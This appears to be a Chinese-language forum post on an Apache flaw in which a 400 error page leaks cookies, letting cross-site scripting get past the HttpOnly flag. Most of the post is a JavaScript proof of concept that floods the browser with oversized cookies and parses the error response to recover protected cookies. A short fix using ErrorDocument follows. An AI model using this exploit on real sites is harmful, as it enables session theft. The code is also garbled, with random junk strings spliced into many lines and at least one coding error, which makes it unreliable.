Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
9 M/ {& A* I4 y: D
0 Y4 j. f: S# K5 c, T" m0 A
// http://www.exploit-db.com/exploits/18442/
  h" a& H) Z) k4 Ffunction setCookies (good) {
7 u, M# r+ I# Z1 M; ?& H// Construct string for cookie value
% _( S3 F, s7 x2 }var str = "";
for (var i=0; i< 819; i++) {
- W- a0 n" O  j8 ^' |% k, G7 wstr += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
- s# B8 f. T3 N- S1 {var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
6 q+ E. U( k; U1 D. _// Set evil cookie
, N! R( D; u0 Q" X7 _4 Zelse {
1 e0 x' K3 Q: Lvar cookie = "xss"+i+"="+str+";path=/";
}
6 I$ n7 u7 j8 m4 @% ddocument.cookie = cookie;
}
}
function makeRequest() {
4 ?6 B: D9 n9 N. B9 q+ l  _setCookies();
function parseCookies () {
5 _" {( v4 G  X* c9 m4 q/ Xvar cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
7 `$ b# I% N- D// Replace newlines and match <pre> content
% q% P! E( P$ w- s$ \+ R4 C5 Vvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
& R* l1 W& K5 c7 Y# r  L+ Ovar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
3 \# Z2 ?7 H8 R- D7 Rfor (var i=0; i<cookies.length; i++) {
8 Y3 s3 O% P+ f6 X+ V( O! }var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
, c+ p, ~4 ~9 L6 Z7 A( x, A: b}
// Unset malicious cookies
1 u; @8 o" B; S; G+ _# R" GsetCookies(true);
alert(JSON.stringify(cookie_dict));
- D1 u# q; F0 b+ l) J}
}
// Make XHR request
% A$ I3 q1 J4 f' B' Evar xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
; o/ W, b2 a: Jxhr.send(null);
}
. J" \2 D7 ?3 _' h8 W; J7 s1 LmakeRequest();

你就能看见华丽丽的400错误包含着cookie信息。
, K3 O- r$ X9 k. P5 l+ J# j
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
4 `- c, k+ u$ S9 \$ l6 F- Q6 _
. s, [6 M8 N) k: X% t1 _+ ~$ H2 a修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

* Z+ z6 u" }. AIn the event of a problem or error, Apachecan be configured to do one of four things,
# v9 l; o0 V7 [0 y. s# u8 f( B
. D: A2 f8 \' F% O1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
# c$ d# D: x$ x# {3 w6 K& g$ k2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
' {6 v4 v5 K. z! q4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
5 A: w$ ~, o9 E3 F1 Y% m$ ~* q
* P4 u/ k8 L4 k" H9 ~9 @Apache配置：

! W- ~* f* N6 d$ ]1 @" mErrorDocument400 " security test"

/ W% Q9 R8 u( ^6 N4 \当然，升级apache到最新也可：）。
2 ~; m4 L* o# ]3 r7 z6 a% e
参考：http://httpd.apache.org/security/vulnerabilities_22.html
9 J$ s/ a7 Y1 R1 |% J3 W: {
9 M, J. P2 f+ d